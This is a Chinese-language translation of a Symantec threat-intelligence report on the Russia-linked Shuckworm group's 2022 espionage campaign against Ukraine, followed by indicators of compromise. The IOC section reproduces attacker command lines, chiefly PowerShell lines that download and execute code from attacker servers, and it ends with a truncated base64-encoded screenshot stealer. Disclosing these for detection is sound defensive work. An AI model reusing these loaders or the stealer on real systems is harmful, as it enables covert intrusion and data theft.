Shuckworm：與俄羅斯有關聯的駭客集團持續針對烏克蘭組織攻擊

2022 年 8 月 15 日發布｜威脅情報

威脅獵手團隊
賽門鐵克

竊密程式似乎是最近針對烏克蘭組織活動的有效籌載。

更新於 17.40 BST，2022年8月15日：為說明清楚起見，更新檔名中再次使用VCD、ASC和H264檔副檔名。

更新於 17.50 BST，2022年8月17日：新增額外的 IOC

最近博通 (Broadcom) 軟體事業部的企業安全部門--賽門鐵克(Symantec)觀察到針對烏克蘭的Shuckworm活動，似乎正在向目標網路散佈竊密惡意軟體。這項活動最近於2022年8月8日進行，該攻擊行動中觀察到大部分行為與CERT-UA在7月26日強調的活動一致。

賽門鐵克觀察到的攻擊行動始於7月15日，我們還有其他入侵指標 (IOC) 和有關此活動的技術細節可供分享。

Shuckworm (又名Gamaredon、Armageddon) 是一個與俄羅斯有關聯的駭客組織，自2014年首次出現以來，它幾乎完全針對烏克蘭。它被公認為是國家贊助等級的間諜行動。

感染媒介

賽門鐵克在受害者系統上看到第一個可疑活動是一個自解7-Zip壓縮檔，該檔透過系統預設瀏覽器下載。隨後mshta.exe會下載一個XML檔，該檔可能偽裝成HTML應用程式（HTA）檔。

這些檔案從以下網域下載：a0698649[.]xsph[.]ru。自2022年5月以來，xsph[.]ru的子網域已被公開記錄與Shuckworm活動有關，這個網域在CERT-UA的7月26日出版的刊物中再次被提及相關的Shuckworm活動。

根據CERT-UA的說法，該網域並與一封來自烏克蘭安全部門服務的意圖詐騙電子郵件相關聯，並且在主旨中包含“Intelligence Bulletin(*情報公告)”。正因如此，賽門鐵克觀察到在攻擊行動中受害者網路上看到的7-Zip檔很可能是透過電子郵件發送給受害者。

攻擊鏈分析

將XML檔下載到受害者網路之後，執行PowerShell 類型的竊密程式。我們看到同一個PowerShell類型的竊密程式的三個版本出現在一個系統上。攻擊者可能已經部署多個版本的竊密程式，這些版本都非常相似，意圖逃避檢測。

在受害者機器上還觀察到基於VBS的下載程式，其中兩個檔名帶有「juice」和「 justice」字串。分析發現，這些是Backdoor.Pterodo，這是賽門鐵克今年初在部落格上發表的著名Shuckworm工具。這些腳本能夠呼叫PowerShell、上傳螢幕截圖，也可以執行從命令和控制（C&C）伺服器下載的程式碼。

在受害者電腦上還發現檔名中包含「ntuser」各種可疑檔案。我們將這些檔名帶有“ntuser”字串的檔案與Shuckworm活動做關聯分析，發現它們許多變種都是惡意的，大多數被檢測為Giddome後門，這是另一個著名的Shuckworm工具。

我們看到各種父程序的檔名具有VCD、H264和ASC副檔名。在受害者機器上觀察到名稱為ntuser.dat.tmcontainer.vcd 的檔案，它是 Giddome（檔名：ntuser.dat.descendant.exe）後門的變種父程序。一個名為ntuser.dat.tmcontainer.h264可疑檔案，有一個名為ntuser.dat.tm.declare.exe子程序，這是另一個惡意Giddome後門二進位檔。在其他地方，一個名為ntuser.dat.tmcontainer.asc檔案有一個名為ntuser.dat tm.decay.exe子程序。

VCD檔是CD或DVD的光碟映像檔，被Windows識別為實際的光碟，類似於ISO檔，我們通常看到駭客用它來傳遞有效籌載。ASC檔是一個加密檔，可能包含文字或二進位資訊的編碼文字，而H264是視訊檔格式。但是，帶有 ntuser.dat.tmcontainer 前綴檔名是表示註冊表的檔。

目前尚不清楚這些是實際的檔案類型，還是攻擊者使用這些檔名使受害者產生混淆，而延遲有效回應措施。

受害者系統上注入的後門檔名為4896.exe。此後門具有多種功能，包括：

- 可以操控麥克風錄製音訊並將錄製的檔案上傳到遠端位置。
- 可以截取螢幕截圖並上傳。
- 可以記錄和上傳按鍵。
- 可以下載並執行.exe檔或下載並載入DLL檔。

合法的遠端桌面協定（RDP）工具Ammyy Admin和AnyDesk也被攻擊者用於遠端存取。像這樣的合法RDP工具和其他工具經常被攻擊者用於勒索軟體和民族國家支持的網路攻擊中的遠端存取。

Shuckworm 持續針對烏克蘭

該攻擊行動，結合之前對Shuckworm的公開報導，顯示該駭客集團目前運作中的一些模式，包括其樣本的重複使用，例如：路徑（如csidl_profilemusic）、使用檔名中包含“ntuser.dat”字串的檔名、其他不同的脈絡還包括：檔名中的“judgement”以及利用檔名包含以“D”開頭英語單字的EXE檔、“dat”、“decay”、“deer”、“declare”……等。

隨著俄羅斯入侵烏克蘭接近六個月，Shuckworm對烏國的長期針對性似乎變本加厲、有增無減。即使在CERT-UA告警之後，最近這項活動並沒有減緩的跡象，這顯示該駭客集團並無懼於

暴露風險仍然持續進行相關活動。雖然Shuckworm 未必是戰術上最複雜的間諜組織，但它堅持不懈地針對烏克蘭組織， 剛好可以彌補此一缺點。。

防護方案／緩解措施

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (IOCs)

SHA256 檔案

abb6aab63b29610dbc0a6d634b6777ff0a2a2b61c5f60bd09b0c3aa3919fa00d
63490fc0828f9683f5dd5799452d684dcc32db28d683943b2bad5b56eee6f03e
b66cc523b88505cc2cc0568e97c9a80b1ceae448c8ac7d7b0d9c0f36378d8c2f
26fcfbbfe4deeae3797bc7999c641f7a93e5a7eb378cf998069d88060801c47d
1f8a4cf57052e66d4de953fcda3aca627308f93b6560934959d745ca6dda66d9
1aceb88288dd40535fdddcbdc1aa174109fe897122d693280d6ccec827f4df0b
ea4ba2c43bc3d18e5d01168ff4f864cbf727e3cb8b9cce5c3f75a27c91d63d84
9da410a62fb552a593b6da8ee89aa451efb6efcd1f3a35fab24e3c04fec84030
420fccd78efe1e4739c3a694afada023e1ce425c29a0affa91bf02c16912d143
e5f34a99d6799c4ff3a4b06e4f42ff136c1a0f59dd4629f3e4da3a7a93e7c88e
d358e4b6afd14fd7b058e0deaeca0bf3537edc264ef7674c1c49db35b82b2d24
f151d2b404315afe4951cbd870866e8fbb11d05d3752ad096bf00d68072d2262
f1c65464f2a86cb6ad6c6792c7553d4162849b5a229fcc396c737edffdb1ee80
c40aaaecb9331f1ddac9fe9b6d3455ecfd7b21b53159453f7fa3a82e3d5f9ecc
2c7943730f3dfb89f534fcb137a4f6e53a7a697309e6cc247f0f9800f1460731
b783b82e846bd8a623ca32982585cf8b79ce7cbf9988a041f7b2ac7fe5f8a7fe
66d2b38589d08bbbe56b34b88bcefc702cdc6593c71e5ee446dbbb115336b876
ac862717600c531846895f8884841d23e52c8332e708ca11c17a5c162ce43432
b9c8ec91559a62baf87305e0ee387bb777da7830a6d9fc72c630e873858ec465
d7d4077af0aff349821f0e964f42db5ab09eb8b2f427f266378aaa1d28af6c57
3f3667294731e3bdbf13d96d32a98342e225601f20157f774917d9147ce692a4
597c517c81a53f7a32a67eb2b15e51a95b6bfdd4a33b11850b08eccf6e29d098
184b5ff96d90a46ad33ba82faa2bb298282e7c35afc0ab96f884f668ad098e61
20b1f6fec7a0f09c64e7e09de7952b7532f8c9cd4b45177d2125d84c6a40ec73
8cbae307b9efdb760cc97468ee7a363d5204559ab21e7982d63867cc13c6b098
92953773c3b405f341df8e68bd8a23cbc9b8fd6c708082aab91632d6cb84bac2
8a5933f7248d1cf2dba19980efaf4f5d5b139563a22cec81df276661c0146450

22ddb97a23a9010b445b08a807b22a997174f528e87604be0bba4e0ccfa18050
b26e8d55828dc8143b68ef6140eab7e5e7e59e6b9e104e032b28f5058a127d51
efd099e4900b692a362cf29a12cd2a100a99b1dd29cfaac4b456808795c07b0f
3fc80fcbf9e813d00af3f54714f79d7accd3888689ac6c5d02a750d804f4e5c3
30761d0a9b08c69cfdd135c69a537aef0df516b097cd9d6a0d9528bc907f4ddd
aa97a858124fb47ea2572a197bd762da9c19bac91bdd4c17469c2e48480e8088
3790ddd924b08942f3ecb6da5a32df090274b90829e651f984f287c00db04592
02963acfa5622901de83cb75fad5bef35902d0ae42310d47f7433379dd3543e8
6461d0693801d8d523df9d2d0cd5a652d72c10acec8fab7344bb141c459543e1
8b1e48dfab33ed67f8ccd788904f2cd4be521ff152a477cec4baba52b56aec15
5f05ba566a66531b988c5a1dceee0b4a7bc2dc34ad2b68d984486e02891a4f6c
3dc83f72a830c54980738467fb36e7b6b5da80e0d9657bd440dcad46ae9f96a2
f895adfe7882bac956f31ec14fb52ea118138257d4a95fb9e1bb6f4e846d07b8
71fdd0edf4699051f5506f34f2663938faeca9400dae1c034ddb6b710d41c7d7
4b9023dbaadd588dad670c49e5a202ae695e12689618f926249d49a935c07315
ef7eb27e19d11894b52148fbe8987b5726ef4390a56aa47a9a4bbe4b17dd0876

Host IOCs

ntuser.dat.tm.declare.exe / 2d0792d3f9d5a921a2d5b476feb88a345869d2f0d95f7342cc10ac1c838896cb
jury.mp3 / 4a2b252eccab7da63aadb7a5539cc4ed8385d7bf258c325dea60ed0edc3e0e25
joy.dat / b62bf1a504a474e259d78fc3349eed94982d6bf6af6012e23a1ec14b3d156dc9
do594e.tmp / 09709be5f7cbb076166d004265a378504f05832ba461f59181b96b374c31a4b3
cronos.exe / c3b7a1a739e3641147f4c10c5acfbc5816c12892b0edbe8038928f236f44ec84
delve.prj / fd61dee37bafb3392fa4450d2afef18cf6b4b3fc5c87476de128c999e58cae59
3893.bmp.vbs / c0a317f60910eed08bbfc7b3ac6e6de1b2029bf4922d0b0d7d3759313a24b16c

網路層入侵指標 (Network IOCs)

destroy.asierdo[.]ru
hxxp://destroy.asierdo[.]ru/
45.63.94[.]49
165.22.215[.]30
149.28.99[.]187
45.63.79[.]134
140.82.58[.]157
139.180.172[.]67
141.164.45[.].236
95.179.167[.]182
140.82.47[.]97

159.223.235[.]224
138.68.254[.]91
217.163.30[.]126
144.202.54[.]111
159.89.129[.]22
207.246.80[.]1
hxxp://159.223.235[.]224/crab/crevice.elg
a0698649.xsph[.]ru
hxxp://a0698649.xsph[.]ru/preparations/band.xml
157.245.99[.]132
hxxp://157.245.99[.]132/get.php
194.180.174[.]73
hxxp://194.180.174[.]73/1.txt
*.pasamart[.]ru
155.138.252[.]221
hxxp://155.138.252[.]221/get.php
68.183.9[.]9
hxxp://68.183.9[.]9/get.php
motoristo.ru
178.62.108[.]75
hxxp://motoristo[.]ru/get.php
heato[.]ru
140.82.54[.]136
hxxp://heato[.]ru/index.php
leonardis[.]ru
104.238[.]187.145
141.8.192[.]82
139.59.65[.]168
hxxp://139.59.65[.]168/journal.au
45.63.100[.]72
hxxp://45.63.100[.]72/get.php?fr=3126424&se=3089412&dl=hxxps://meta[.]ua/uk/news/politics/52320-ukrayina-rozshirila-oboronnu-spivpratsyu-z-danieyu/&rm=hxxps://meta[.]ua/uk/&kf=false&ts=5875621&dw=2240&dh=1951&t=2053953&s=stable&eec=3242252&po=6485826&ju=8204688&kio=false&rqm=GET
199.247.25[.]79
hxxp://199.247.25[.]79/get.php

Command lines

CSIDL_PROFILE\appdata\local\temp\1645694127.exe
CSIDL_PROFILE\downloads\anydesk (2).exe
CSIDL_PROFILE\ntuser.dat.tm.decay.exe
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\17634.bmp CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5491.bmp CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\17634.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>>C:\Users\User\29630.ico
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo '17634.bmp>> CSIDL_PROFILE\appdata\local\temp\17634.bmp
CSIDL_SYSTEM\cmd.exe /c echo '5491.bmp>> CSIDL_PROFILE\appdata\local\temp\5491.bmp
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\29630.ico 29630.ico.txt
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\29630.ico.txt 29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\mshta.exe hxxp://a0698649.xsph[.]ru/preparations/band.xml /f
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -nol -nop echo (INVOKE-EXPRESSION(new-object net.webclient).downloadstring('hxxp://157.245.99[.]132/get.php')) | powershell -
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -windowstyle hidden -nologo Invoke-Expression $env:Include
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $aaa = (New-Object system.Net.WebClient).downloadString('hxxp://194.180.174[.]73/1.txt'); iex $aaa;
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $ip = [System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.pasamart.ru');Start-Sleep -s 10;$IE1 = New-Object -COMObject InternetExplorer.Application -Property @{Navigate2=$([string]$ip+'/lnk.php'); Visible = $False};while ($IE1.ReadyState -ne 4) {Start-Sleep 2};$Doc = $IE1.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $IE1.document, $Null).InnerHtml;$IE1.quit();[io.file]::WriteAllText($($env:USERPROFILE+'\index.txt'),$Doc); iex(iex $Doc)
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('hxxp://155.138.252[.]221/get.php'); Invoke-Expression $tmp

CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('hxxp://68.183.9[.]9/get.php'); Invoke-Expression $tmp
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\29630.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\ho2btvivw2m.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\ntuser.dat.tmcontainer.asc //e:vbscript /deserve /decidedly /dene //b
CSIDL_SYSTEMX86\windowspowershell\v1.0\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000.cmd
CSIDL_SYSTEM\cmd.exe /c start /min powershell -w hidden -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://motoristo[.]ru/get.php'))|powershell -)
CSIDL_WINDOWS\explorer.exe
powershell -w hidden -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://motoristo[.]ru/get.php'))|powershell -)
powershell -w hiddeN -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://sacramentos[.]ru/get.php'))|powershell -)
wscript.exe CSIDL_PROFILE\ntuser.dat.tmcontainer.asc //e:vbscript /deserve /decidedly /dene //b
wscript.exe CSIDL_PROFILE\documents\jury.mp3 jenny //e:VBScript //b joke
CSIDL_PROFILE\cronos.exe
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\3893.bmp CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\3893.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '3893.bmp>> CSIDL_PROFILE\appdata\local\temp\3893.bmp
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -nol -nop $nwc = new-object net.webclient;$nwc.headers['Accept']='image/avif,image/webp,*/*';$nwc.headers['Accept-Encoding']='*';$nwc.headers['Accept-Language']='en-US,en;q=0.5';$nwc.headers['Alt-Used']='www.facebook.com';$nwc.headers['Referer']='https://meta.ua/';$nwc.headers['Sec-Fetch-Dest']='document';$nwc.headers['Sec-Fetch-Mode']='no-cors';$nwc.headers['Sec-Fetch-Site']='cross-site';$nwc.headers['TE']='trailers';$nwc.headers['User-Agent']='Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0';$code=([system.text.encoding]::utf8.getstring($nwc.DownloadData('http://45.63.100.72/get.php?fr=3126424&se=3089412&dl=https://meta.ua/uk/news/politics/52320-ukrayina-rozshirila-oboronnu-spivpratsyu-z-danieyu/&rm=https://meta.ua/uk/&kf=false&ts=5875621&dw=2240&dh=1951&t=2053953&s=stable&eec=3242252&po=6485826&ju=8204688&kio=false&rqm=GET')));echo $codeliex

CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('http://199.247.25.79/get.php'); Invoke-Expression $tmp
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\delve.prj //e:vbscript /departments /dependant /despite //b
CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000.cmd
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\10805.bmp CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\14612.bmp CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\19084.bmp CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\20342.bmp CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\26012.bmp CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5275.bmp CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5491.bmp CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\30802.ico.txt 30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\8527.ico.txt 8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs

CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs

STEALER V1（“WebKitFormBoundary”）

CSIDL_SYSTEMwindowspowershellv1.0powershell.exe -c $couts =[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24g
UnVuQ29kZSgkY29kZSwkcmVzcG9uc2UpewogICAgW2J5dGVbXV0kYnl0ZXMgPSBuZXctb2JqZWN0IGJ5dGVbXSAkcmVzcG9uc2UuTGVuZ3RoOwogICAgZ
m9yKCRqPTA7ICRqIC1sdCAkcmVzcG9uc2UuY291bnQgOyAkaisrKXsKICAgICAgICAkbWFzc19lbGVtZW50PSAkaiAlICRjb2RlLkxlbmd0aDsKICAgICAgICAk
a2V5PSRjb2RlWyRtYXNzX2VsZW1lbnRdOwogICAgICAgICRieXRlc1skal0gPSAkcmVzcG9uc2VbJGpdIC1ieG9yICRrZXk7CiAgICB9OwogICAgJFVyaSA9IFtTe
XN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRieXRlcyk7CiAgICBzdGFydC1qb2IgewogICAgICAgICRzYyA9IE5ldy1PYmplY3QgLUNvb
U9iamVjdCBNU1NjcmlwdENvbnRyb2wuU2NyaXB0Q29udHJvbC4xOwogICAgICAgICRzYy5UaW1lb3V0ID0gOTk5OTk5OyAkc2MuTGFuZ3VhZ2UgPSAnVkJ
TY3JpcHQnOyRzYy5BZGRDb2RlKCRhcmdzWzBdKQogICAgfSAtQXJndW1lbnRMaXN0ICRVcmkgLXJ1bmFzMzI7Cn0KJGJ5dGVzYT0gW1N5c3RlbS5UZXh0
LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygiLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5azZNSDNNRU9BQlZtSTNPcCQoW2NoYXJdMTMpJChbY2hhcl0xM
ClDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9YCJwYXJ0aWFsYCIkKFtjaGFyXTEzKSQoW2NoYXJdMTApJChbY2hhcl0xMykkKFtjaGFy
XTEwKTEkKFtjaGFyXTEzKSQoW2NoYXJdMTApLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5azZNSDNNRU9BQlZtSTNPcCQoW2NoYXJdMTMpJChbY2hhcl0x
MClDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9YCJob3N0YCIkKFtjaGFyXTEzKSQoW2NoYXJdMTApJChbY2hhcl0xMykkKFtjaGFyXTE
wKWxlb25hcmRpcy5ydSQoW2NoYXJdMTMpJChbY2hhcl0xMCktLS0tLS1XZWJLaXRGb3JtQm91bmRhcnlrNk1IM01FT0FCVm1JM09wLS0kKFtjaGFyXTEzKS
QoW2NoYXJdMTApIik7JHdjPSBOZXctT2JqZWN0IG5ldC53ZWJjbGllbnQ7JHdjLkhlYWRlcnMuQWRkKCJDb250ZW50LVR5cGUiLCJtdWx0aXBhcnQvZm9yb
S1kYXRhOyBib3VuZGFyeT0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5azZNSDNNRU9BQlZtSTNPcCIpOwokcmVzcG9uc2UgPSAkd2MuVXBsb2FkRGF0YSgiaHR0
cHM6Ly93aG9lci5uZXQvcnUvY2hlY2t3aG9pcyIsJGJ5dGVzYSk7CiRpcCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRyZXNw
b25zZSkgfD97JF8gLW1hdGNoICJcZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9In18JXskTWF0Y2hlc1swXX07CiRzY3JlZW49MDsKd2hpbGU
oJGNvdW50IC1sZSA0KXsKICAgIGlmKCRzY3JlZW4gLWxlIDkpewogICAgICAgICRzY3JlZW4rKzsKICAgICAgICBbdm9pZF1bUmVmbGVjdGlvbi5Bc3NlbWJ
seV06OkxvYWRXaXRoUGFydGlhbE5hbWUoIlN5c3RlbS5XaW5kb3dzLkZvcm1zIik7CiAgICAgICAgJHNpemUgPSBbV2luZG93cy5Gb3Jtcy5TeXN0ZW1JbmZv
cm1hdGlvbl06OlZpcnR1YWxTY3JlZW47CiAgICAgICAgJGJpdG1hcCA9IG5ldy1vYmplY3QgRHJhd2luZy5CaXRtYXAgJHNpemUud2lkdGgsICRzaXplLmhlaWd
odDsKICAgICAgICAkZ3JhcGhpY3MgPSBbRHJhd2luZy5HcmFwaGljc106OkZyb21JbWFnZSgkYml0bWFwKTsKICAgICAgICAkZ3JhcGhpY3MuQ29weUZyb21
TY3JlZW4oJHNpemUubG9jYXRpb24sW0RyYXdpbmcuUG9pbnRdOjpFbXB0eSwgJHNpemUuc2l6ZSk7CiAgICAgICAgJGdyYXBoaWNzLkRpc3Bvc2UoKTsKIC
AgICAgICAkYml0bWFwLlNhdmUoIiRlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciKTsKICAgICAgICAkYml0bWFwLkRpc3Bvc2UoKTsKICAgICAgICAkZmls
ZSA9ICIkZW52OlVTRVJQUk9GSUxFXHRlc3QucG5nIjsKICAgICAgICAkYmFzZTY0c3RyaW5nID0gW0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbSU8uRmlsZ
V06OlJlYWRBbGxCeXRlcygkZmlsZSkpOwogICAgICAgIFJlbW92ZS1JdGVtIC1QYXRoICIkZW52OlVTRVJQUk9GSUxFXHRlc3QucG5nIi1Gb3JjZTsKICAgIH0
KICAgIGVsc2V7CiAgICAgICAgJGJhc2U2NHN0cmluZz0icyIKICAgIH0KICAgICRXZWJDbGllbnQ9IE5ldy1PYmplY3QgbmV0LndlYmNsaWVudDsKICAgICRy
bmRzdHIgPSAtam9pbiAoKDY1Li45MCkgKyAoOTcuLjEyMikgfCBHZXQtUmFuZG9tIC1Db3VudCAxMCB8ICUge1tjaGFyXSRffSk7CiAgICAkdXJsID0gJ2h0dH
A6Ly8nKyRpcCsnL2luZGV4LnBocCc7CgogICAgJGE9R2V0LVdtaU9iamVjdCAtUXVlcnkgJCgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2ciKyAiaWNhbGRpc2sgd2
hlcmUgRGV2aWNlSUQ9JyRlbnY6U3lzdGVtRHJpdmUnIik7CiAgICBbc3RyaW5nXSRudW1iZXIgPSBbU3lzdGVtLkNvbnZlcnRdOjpUb1VJbnQzMigoJGEpLlZvb
HVtZVNlcmlhbE51bWJlciwxNik7CiAgICAkaW5kZXggPSAiaSIgKyAkcm5kc3RyOwogICAgJENvbGxlY3Rpb25zID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbG
VjdGlvbnMuU3BlY2lhbGl6ZWQuTmFtZVZhbHVlQ29sbGVjdGlvbjsKICAgICRDb2xsZWN0aW9ucy5BZGQoJGluZGV4LCRlbnY6Y29tcHV0ZXJuYW1lKyI7Iisk
bnVtYmVyKTsKICAgICRDb2xsZWN0aW9ucy5BZGQoImltZyIsJGJhc2U2NHN0cmluZyk7CiAgICAkcmVzcG9uc2UgPSAkV2ViQ2xpZW50LlVwbG9hZFZhbHVl
cygkdXJsLCRDb2xsZWN0aW9ucyk7CiAgICBbc3RyaW5nXSRVcmkgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzcG9uc2UpO
wogICAgaWYoJFVyaS5MZW5ndGggLWd0IDApewogICAgICAgIGlmKCRVcmlbMF0gLWVxICIhIiApewogICAgICAgICAgICAkY21kID0gaWV4ICRVcmkuU3V
iU3RyaW5nKDEpOwogICAgICAgICAgICAkQ29sbGVjdGlvbnMuQWRkKCJjbWQiLCRjbWQpOwogICAgICAgICAgICAkcmVzcG9uc2UgPSAkV2ViQ2xpZW50
